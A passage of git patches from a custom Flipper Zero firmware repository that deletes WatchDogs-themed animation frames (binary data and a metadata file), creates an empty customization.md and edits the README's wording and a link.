zs}`Kv(bCh9KLW#lgi3#-FbW^*T-z*acf|}C(v52~%Qe#6zY*R#ZcEYD3cG!>Sw`p_)%*d1RPH+DnV+a8(C z4J=ts6%cLI;g8W&mMyuOozn+&unXT*1-)`db8oC$ublq#5uEi%-OGSdLe4^``a$!7 z`|9rUIINzm*d}G~B%k!!JJvdAUlL_V8zg#QmPmjmTZ|jOY>>J3V!0`{)lsMjc%kz> z>b-BmL5X8VX;W%@ZPI7ihq??D3<2-&?@X?f0#&6rPjiajWoa5@A2MDlHd{PU%4FxN zZupAHKozLjv61FJ*D+r^p6P9+@vwg=JG$Qn16itb;rWS=MG}(hG_Wy*+odnxWEyayDX@OhXWbcz#uu|gE_tBT_Ymh zPSUT8hUk<6^X=eNcI@>01Rq7<^9rfBqH{4-BEY(^vY{IN1=FaT=2UZm;EJ%ujM*vm z?$)n?G+XDqz^s(bfp!OxsSM?*Mm*L(sySCZZz7ROKv%$)%%&VG;t)dXlr7-TssnZhn) zV|={3VaNU{fOCX9;GI6Zd3>JsdCp;cX~;wSL=S`M_XwYyd}cis)2n{L!dyQyR=~0dS7(6lfZu77?70xUD}EH>@B^n1~AsfRTe%-iqZR w7eGz`fHVd;M3y^1fZ_x36y+m%Na9Cj!2h2mih`3rSr#lO8Apt{Nc_6?AE!iaasU7T diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/meta.txt deleted file mode 100644 index 305463c19..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 31 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 -Active cycles: 0 -Frame rate: 4 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_0.bm deleted file mode 100644 index 8b5e072060f435965a89ac7452d898f14f016098..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmXYveM}p57{`CtV;s1KU){1`Lf0#xQKND7Et3d$b;LL$8-M9E%L2@ozh(emQWqG% z>u%%l1&Tx678BXRqJPY6xH)a;q}O#o)d(YtAu+^WEm*YZU3t60UGMQ0eE$1S}8F@O;7!OWwRlizmK=Z@KGZIImp5zbYh6J zQoL?}`Q*Uq4mYy%wcw!;=nycnz{=|q(U^@z9zuq-3?M|#Z5^iEoL$^}3DoD5cI5Ce z@A-hJdkq7w%5?&D7T5ahS&uDF!QC;pg3jVj?;5CN7Kn6%(}Fe5cE1IL_;n)g8MUjC zk?nRotELHkc>kL4(W^DD&lN&MT_&ii>ECY#2fNT>0Sd`9Jni7-DSRkTHxM9~)T0Lx z8@_>!KgNHWdziwlmSW0MF3nKN$nS8I% zKao$Qp8pUp{PyOlo|VS3s;QRTOyOtyf;k$QYabKG-9{`|{ ztBpZQT1=(3bgB?#kSkx06tTWpp^eKr&jj5j@9zMXSB#rz`s=bna7)SWttEv6EtTpDbML z3;c4YA0r)4RbuM>Mh__f>_8dHwh$e}+$AUgBj{pK4zl#skjF}b&8p3@ofZ26zmozB z%m?b~Nx7dvJ=HwGvh5GOdnMd2O_rR9%#H$JA)|hLGbT;NZ}T1l%Kh6iQ*k9FCB-4& a^8^>kE3B5&q}oQ@!R6pZB;>H*m;VF%O-aW9 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_1.bm deleted file mode 100644 index 3307b2680b267167686bf85eae6af8a526de37d4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 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 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_12.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_12.bm deleted file mode 100644 index 65bd6a5aa7556c76767916723e44fa82cc8d841f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmV+c1pfN~064(s|NsC0|NpnDq5~X&2z=m0Rek^e|E}6?jRzix7--0${rBzv_y2$Q z+Y&aALOS!cYu|s{y?fhU6~vB|cvw?q-F5Z<|KIn!Ey`Rb0A2jqcK_eLZ+qX?sw5hT z8tm9t-BtJN{q1#sR|I#MT=c%Hwf?<-x4++26_yt~R3M9L?W^zh|J%B~1V99;5MT~c zTmAZ9TmN@c3J`+;puh)cwb!rq|JAOl2UUcr2-p@E*ztWhx$Xa}U+q>D7{0@sp|UH{a)0aJmAx+j5cPou zU~nIx($&BAruGd$5O^Skz&rkcvHteotGX*lNPoZs!aFx1>FfW!ZtZ452>#H6z%Kr% zvA*5+bN(F&0B_;~Qk!;La`(R7tyEV*z<$ZA#yy{6>D~Lk>-w!q;C$R+;9Y-YrM7O@ z)>KqM*aP3i>R$2 zOg%(^01kM;%(wUN1yd^#79VgB1{(N+72RF67u2c%O&>I13@`c6t@i(84Y*nag`apb zq#D|#O1-=HS728Gty{VvI_`9*N!9MXFG5uSbzirv1WS3;sqO#oO_czEP9Ab37C-bs zle*geUm^g2hO1m~Dz?(6XV>?;mr502>la?VEU!cb)PG&?T^axgqeT@E02YQgr1rM^ zFQt@3k5CW*P(v1ez*}oyw+aCPKX3vH5DpG>QT^TeUr;I_KXfn*G>4pgs4J`Y>xx7G zuQ-vY!Fp|4LtTCUuOtxxy>4~OG;6rXXaQ?+Wp$_fzS ztFL(#Ah@F9B<=RM78M0@g+c+45EO(!QC-b$RRsWX1A!m}06BrdQq^kPD~dvJL!k(W zDs-dC>1y5gUlf4wl7*r|;doBh_T5(PHiS~xWw98_1Z0Us?W*1VUkL#CAeD#!F>0gf v`rWGbcR(Sv)xjW6u*}P)>Z^La-2f2$!R2|B0@4Bjb@#3Rub}|i0+9fMJG%qg diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_13.bm deleted file mode 100644 index 54d3107efcfd396b4d1c3c427daba0a2ef19eeca..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 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 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_16.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_16.bm deleted file mode 100644 index ddd1d23954f2a1e0dc1aa17758c638dedf882e3e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmV+c1pfN~RGeVa|NsC0|NmQ65r+7b0yg?!Ro(sn|F-t-)-V2Gp6t-8|Mzd(yZ_(2 zEefZ!Eoh->)qef|{%^Z(D}?U76j4mozuUL(|NZa%mN3GhzyKY!^zQ!ptGB&ZD}2BS zfCE0PtGm~~|9$uVR#?D;!V9-he)oR$+SjdBEBt5y&_+76)!y~re|`V|3T(ndf}7rJ z+jZan_wQ9z6+G#erV&=Dw%>cTy}SSZ6?lwe$R$78YIWcL|Nd610{&o!VTbjo-tYBp z_pkp}0PpdKWgYvewYuN^zx%35a@J_4!U8T->vwh6YOPfQfPBbBfEQf(Ufthcm42-f z5Iv-afeXB-_5XIgYuBm*Fh1}{g@=CJ|Mvgu-mNzjP&VL?Aq{nDwZB)lRr@YLFurk@ zjdxt%`0f4QmEM~G6us_WL?fM=QTPA$*Ltr|fIP%qk&S+wy1lnwMcpNY2zT+1gC6KV zao7I4cXlrjfF8We3vKx>seZTpb=|d!z*jo|U<89-aO?fAYwDLo0Ky>-!qA7dvfXd{ z?YOoApy-KCz=E$oYkU1~i|VaHFz|s3(t(SA#@1WaMJam$F!6z(K&dXfW_|zfiqzI1 z+;mkBr_TGY#`pDg2eB<7IPSG)$dHFUR^4Ccg{G&=fAsuuM`m=jc=SU$=dYKR(J2+ zTS_7jaW7kiAgua|qupBfUzG#}rJgxM7(Cch$9A{)0XrMCO+my}WfR}ISvA|Ud?!FyK!Zy^8?Lyv?&fMDRmQ?2gzZIzM$BL~Jo zf?#puqi))M-zortgAL^gBx>YKr@Qw5SBsz^3s+{Milb|%&2C-ouUY^A^VjuQ5Fqr= zpR)#`RXj}?I8YfE>if&?>tHdWQ{D-|Me#^#Fz2+`>5Y29Y4P6Ytr6Nkf) zoTt&dYqi?@I|>1E&dsMegkWR!{c5l4uOw2?q2;7NKw`jo^{(CaKZJnzfpZ6ugy7=R v>vgsLZ3q$Yp|S#jlBmGp_N`sLzd(Sz!#^h_M8j4WZQHc(*MU;>fo)6C>;x+2 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_17.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_17.bm deleted file mode 100644 index ffee017adebf8a54dea9ff1d291b23121555c0f5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmV+c1pfN~gF5u^|NsC0|NmQ6N%vjh4q8-`s`mc>|F*W$d&6N;LO@ zk%n}&-Tl@5|KHbl8!okprER)nwO4|6f-t(H#6x1x|cu>#hC&ZS|}OARc&t0}nXaUjJ`Psb1Rx zP&(Y;K^=Rl`@OrrtLs(;FrM_n8|Tz}Z}0Ew?p`Y@*j#^DgeE=J`v3mjn)O!zkUaX7 zBOh$gS+%$CtG*sV5U%*ahcx;b@$dh;R@+OEkY7CT3ffRvQvJ5x%l=nDkOn)cQV>F< zxvT$oYqTnmK!P|xAfSN*vhHf%weDXEz<@UfVBmp&aJ&D#>$sIb;Gw?;aOfqc((bnR zS88ty;KVg1YN1tsW4r(Dgs4?P;F^DzA?uENSM93SOVzsq&~f|3Qsj_(qP_p`mZ(-i z@P$7H@UX{S*7o{q1ygMxy5TP`(P1aP#{I9hi`1GBdi45(1cC`VCa?SB22@oNQjj?k zzyK3mME(D^FR-fw8pv3I0s|lTRMqbHU!b-C9r)NlfQujesCs+rErlci9s1lsiXvU@ zQrG`~uWA8+R{Z)TRGZd(rM=ewF9`}jUE7|Sh$*jnYS(?+TdDvcp7PuvgN8f&p?}x^ zE)^+6FZ}IePM3Vz)7q-)U!;T(OCNvG0*b4?ruVzQx0O-=GWxEl2qG4|pkCJMuSgLD zx@1oP5Cl#<$ZBo>Z4o5_Ja{h%01gj4qPMpDuSyaSJ$Ppjs-#-Aq`dB5yCi@Fo^ms# zF*uNpxBJn(bF zS3VL!VVbU-f35c4ODhE6I6WQ4vp77ytJ8Z zD;)4Zfe*Oks`dTH8iM!qfRxIec$i)|NGbXuAJ~hgmv6&*LA&L?e6_vt6c7p zjRP6gdf)f|zrVlxDmY=W!k>J!)_vdF>sr;W3qH7mVIAtJeb@E>{_p?YT5P(*hibG^ ztNp*%zx%4|20T{K01Ie%?YH*+@85sDDSGgL3oe+*THW9O{&wxF0yt{W1CBVfcK7z} zyZ^U#0Q`8M3m&Ret=(O_|82XfRQ`D2LtV70+q?V!?cP=epv+q3Hs;jXcK6;^tF_i5 zQrdIa2@g58?cTS)D(|%faP)MFM?HLKzxRIi>s_l7F#g=&4!YF&`oHg2UHdKou&-Zu zDyV3QQT2V_tF{{;6wMW+1P~&sy6@lnR{gF(5XK205OBdk@p}8N%dSg=h{F#GFmT{P zsqf$aw){3ofQJtZu=L20vRZZ3b?UDIfRhgnBw^DnuYxV&LBRu$CTs1h1yoxJdccE% z;9v`%#s0suAE>4P```ly$jD>eE!Fn-H{i7b*~&|kBUhd7$+~~-EdfOUb@^**WWW>G zQup2epLPfU`P7C6q3K4yrLFsSZ-@fG+~kXk(UBkY*L$!17b^%LKl#YTLM6qWqyKu} zy+k1hRN)7MfWWGuQB{}qFBJ+witC~vg1~`;=l^!Uchyn^;Nb%Sgvo`MgR0f`T?h#P z;PHbYsKSv(S2w$RuceYA_3}wYil)xH<9hAgw@4%a&2?ijfXJy8k5{+fVZmB2t;0oZb3<^i=@BlD8;`hz6shHEXI{Mk7F?<;P$M7|xDITfX|gRt+Fv z(ede=DiurJzx1ZRi&Fw(^HVaAfIwsgp{nY39~D6G{VTRUx)zMiH8@X#>1gw_4c~%w?Go~qs78ehyueUyIbx3-+(~;!J>kq(9kl) diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_19.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_19.bm deleted file mode 100644 index 47f3ec1fe15d06b4f7a99f2ed7572fe4ab90f4c7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmV+c1pfN~z#kma|NsC0|NpJ3L^z;>ffiVxs&@bX|F+ty6&>h+gbzIE|KDwUxBvft zTNLm?fepB%YW4r$|F^g5RXnJHp|5JG-Cx`P|NZ{ImzZ#&%2ix%cl-U?+uv7fwOsC! zYNssK+HJ4@{`UUMQFZNK~9SKrlJD}1+i0}v z)_(23|L)dz6|5|wG#6-?y6eC9?|*x(B_8lVIZl|g*1qa~zwK{(6%1;SFD^K!wd?=) z{lDF90UmhZ8y>1u+rF({x9xUYR2+EVkD9dVcI*E8|G!&>KyF>hHtyJ&?Z3BfRn@8j zbRKim4+j}_TlL@Ds=uuiP`q@=MLm4f|9|^_cU4;ea6a5(4|?jky6^Ans{1V{5HDSL z8>qO{>3VzLudWsWv^o{2MGzp0vhUx!O8s9z03HlN6L7(yxZVEl+v-M;h`R;|F>v65 zvHRPi5-e#i*@9Ko?C6^w_cEBd!0|%W7K%;J+6xY1zY1=6bdJ7S*-@ z(D|E}AYg=mM(_XUg|ez5k{SgBVB!H6*8O&E7pkoQ>bM65LBR_zhPL0cg;c8$`uu}} z;GhB@Wc~fN8_+5R+x!Oy#K>1&%&PbE4xqLIdfpO~Q`4E&DEHpqe@HC=_1x=fM8qnu z>e_$*mr?+L=&l2U;jxE4gl^UCE+qqie*KjPQGt(o_PhW8UrGodU4F&N!g5-bM1Qrm zE0hojDyJqv0KtMG)9tJO-YTU4#8-m?g20Ijre59ZKa~O^(uV^fh{=HmSG%^q*955m z;OE0ZqC&H$rnhVLuc!h5<%W111%R_uAV1R|J5#;bKB4%i-u~ v)V00(zK9a?5eJ9C!=a<&^{#5~SAamc#l@vl6@@|(?Yq4F|3DD@!J;||9`8h-WEH|F`?@7D6GlEC5%izP|eZ+y1Uw70>`I_yK>=_4RN2|J(oFDty2j zumPSht*`yB-EOtFBKUxh_zO2`YkJrEcl%qd7TwSusG{Cft=D~j|6liZ1wF-;vK`mS z+IqL!*Y;Yi0`s^p_#iJ*wXNOn{;zGj0Qm%;bca2tYHfG@-Fn|D0N&vjNQdj(*0!ye zR@agQ0B_JLf||WiyZwG`wX|&klsagE0L3Y=ZLjOM)!()N5e&ot1@`e^-}_#Dt7=OH zln!vf18#89`~LUW_TM%T84o<51^@cga<9Gro%#y}oKN`RL$u@~#J6P`hjW>bk2T5Su6<2(%a><@WyX zOVqvqPz(|X7#wh*j@`G{%C%Jy7#$207#@0L#Jc_N18KJq9G(~$Qd)8;E%&!;g{n#b zu1;EAsO+@UNpJtA3(_hG+bs(dNS7ETjr{HN4ya0jCYq8EIv)LSSk=F^H*i~k4xc=n zGa=;=aMCbAx}*^g1T1KUILNO-*vH+6q1QWuWRl5tEd2kp@|DZ2*=|OObV< z5Do<&SZ%8JmzEGh_@E((0*b3IoZ58lrwV`&_{2Z}C{IJ0nYY@zwO1g-veFe*AsU@; zTJ37>@g)dA?zpmql#VHBbI-^)(RlLh(=GWm=O!t diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_20.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_20.bm deleted file mode 100644 index 5a86d581e111b8a24de5242b97bfe556e557ae7e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmV+c1pfN~fCn7V|NsC0|Nm`OLO9@ozy}{<)wcit|F+tyEiCYZLapDZzx!&txBtI? zE4XBV((9_!>fZnV|F`?M0|9|!B3K)3c2NoKtUHez9)$QNE6&yU^s@~MJ>Tmu3 zf4{qG394DOE34>KTm9d<`}givq84+^5snI}_Ez=({oh-aAV_qek3V?St^2=MSGB4F ztOh&E0H@w91^ zvFiK3Ywl_Uz}A&kp^>8^vRiGdwYn=pz=eu|cye@9Xzl<1>+G(C;4V!}Q26L^vA^!t zrf6G9;Ex|3`OLAiX7#=Q$<($2;H#F0Ffl}6Q(Nmw$F!{i;06s8XyC#H#_qlMm1)~T z@IglcFyMg))_w153sSWp;(-T-cyWQ3ruP5#imELj@}UO>QpmL>hTGbs15~RLVvQ@7 zwPQ^?rT%|+52z{#{&UwwIPj83OjX8S>!?4-dCsrLWxRzfKNalt1KxuKW6 z)vflsuap7+{pE#=sz@a!lKNfmUm+xbcvP86JTPfVbXWKNRaOZ=az_RNsc_&x!T+w` zpCkYPIR_1dcx36oP;FcFu9Qj;J135YT4>_h3-Fttx;3rz8U*m_a}wP`mbaZ

Stable: Many hours have been spent rewriting core parts of the Flippers firmware as well as some of its apps to ensure stability. A task that was long needed on all Firmware, so we tackled it right away.

-

Customizable: Dont like the Animations, want to turn on/off the Home screen icons (battery, SD card etc), change the flippers name or anything like that? You absolutely can. No need to mess with code or deal with weird manifest files. Its all done with an App.

+

+

Note, the below mentioned changes are only a few things we did. For a full list click [here]()

-----
From 7de5b96f011d01761d952134a0f96e8b4c90be0c Mon Sep 17 00:00:00 2001 From: Clara K Date: Sat, 18 Mar 2023 21:40:37 +0100 Subject: [PATCH 155/329] Create empty customization file --- customization.md | 1 + 1 file changed, 1 insertion(+) create mode 100644 customization.md diff --git a/customization.md b/customization.md new file mode 100644 index 000000000..1eca74719 --- /dev/null +++ b/customization.md @@ -0,0 +1 @@ +Empty File From 671452f9d30df85fd7fe9225a74d36ea7ca7404d Mon Sep 17 00:00:00 2001 From: Clara K Date: Sat, 18 Mar 2023 21:41:12 +0100 Subject: [PATCH 156/329] Add link to readme --- ReadMe.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ReadMe.md b/ReadMe.md index f7f1e0035..c710cda93 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -24,7 +24,7 @@ The goal of this Firmware is to regularly bring out amazing updates based on wha -

Customizable: Dont like the Animations, want to turn on/off the Home screen icons (battery, SD card etc), change the flippers name or anything like that? You absolutely can. No need to mess with code or deal with weird manifest files. Its all done with an App.



-

Note, the below mentioned changes are only a few things we did. For a full list click [here]()

+

Note, the below mentioned changes are only a few things we did. For a full list click [here](https://github.com/ClaraCrazy/Flipper-Xtreme/blob/main/customization.md)

-----
From 8621ade718ab6f85ac2bea9d3bfbe0ce1d68ea59 Mon Sep 17 00:00:00 2001 From: Clara K Date: Sat, 18 Mar 2023 21:48:31 +0100 Subject: [PATCH 157/329] Making willy cope even harder --- ReadMe.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ReadMe.md b/ReadMe.md index c710cda93..f3ffd6ed9 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -24,7 +24,7 @@ The goal of this Firmware is to regularly bring out amazing updates based on wha -

Customizable: Dont like the Animations, want to turn on/off the Home screen icons (battery, SD card etc), change the flippers name or anything like that? You absolutely can. No need to mess with code or deal with weird manifest files. Its all done with an App.



-

Note, the below mentioned changes are only a few things we did. For a full list click [here](https://github.com/ClaraCrazy/Flipper-Xtreme/blob/main/customization.md)

+Note, the below mentioned changes are only a few things we did. For a full list click [here](https://github.com/ClaraCrazy/Flipper-Xtreme/blob/main/customization.md) -----
